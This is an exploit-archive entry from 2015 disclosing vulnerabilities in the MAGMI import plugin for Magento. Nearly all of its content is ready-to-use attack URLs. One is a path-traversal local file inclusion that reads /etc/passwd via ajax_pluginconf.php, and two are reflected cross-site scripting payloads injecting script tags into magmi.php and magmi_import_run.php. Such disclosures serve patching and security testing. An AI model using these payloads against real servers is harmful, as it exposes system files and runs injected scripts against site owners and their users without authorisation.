Magento Server MAGMI Plugin - Multiple Vulnerabilities

EDB-ID:

35996


Author:

SECUPENT

Type:

webapps


Platform:

PHP

Date:

2015-02-05


Become a Certified Penetration Tester

Enroll in Penetration Testing with Kali Linux and pass the exam to become an Offensive Security Certified Professional (OSCP). All new content for 2020.

GET CERTIFIED

Exploit Title:  Magento Server MAGMI Plugin Local File Inclusion And Cross Site Scripting 
Software Link: http://sourceforge.net/projects/magmi/
Author: SECUPENT 
Website:www.secupent.com
Email: research{at}secupent{dot}com
Date: 5-2-2015



Exploit(Local file inclusion) :

 http://{Server}/magmi/web/ajax_pluginconf.php?file=../../../../../../../../../../../etc/passwd&plugintype=utilities&pluginclass=CustomSQLUtility
 
 
 Screenshot: http://secupent.com/exploit/images/magmilfi.jpg
 
 
Exploit(Cross Site Scripting): 

 1. http://{Server}/magmi/web/magmi.php?configstep=2&profile=%3C/script%3E%3Cscript%3Ealert%28%27XSS%27%29;%3C/script%3E 
 
 2. http://{Server}/magmi/web/magmi_import_run.php?%3C/script%3E%3Cscript%3Ealert%28%27XSS%27%29;%3C/script%3E
 

 Screenshot 1:http://secupent.com/exploit/images/magmixss1.jpg
 Screenshot 2: http://secupent.com/exploit/images/magmixss2.jpg 
 
 
 Thanks for read :) 
 Special Thanks: vulnerability.io, pentester.io, osvdb.org, exploit-db.com, 1337day.com, cxsecurity.com, packetstormsecurity.com and all other exploit archives, hackers and security researchers.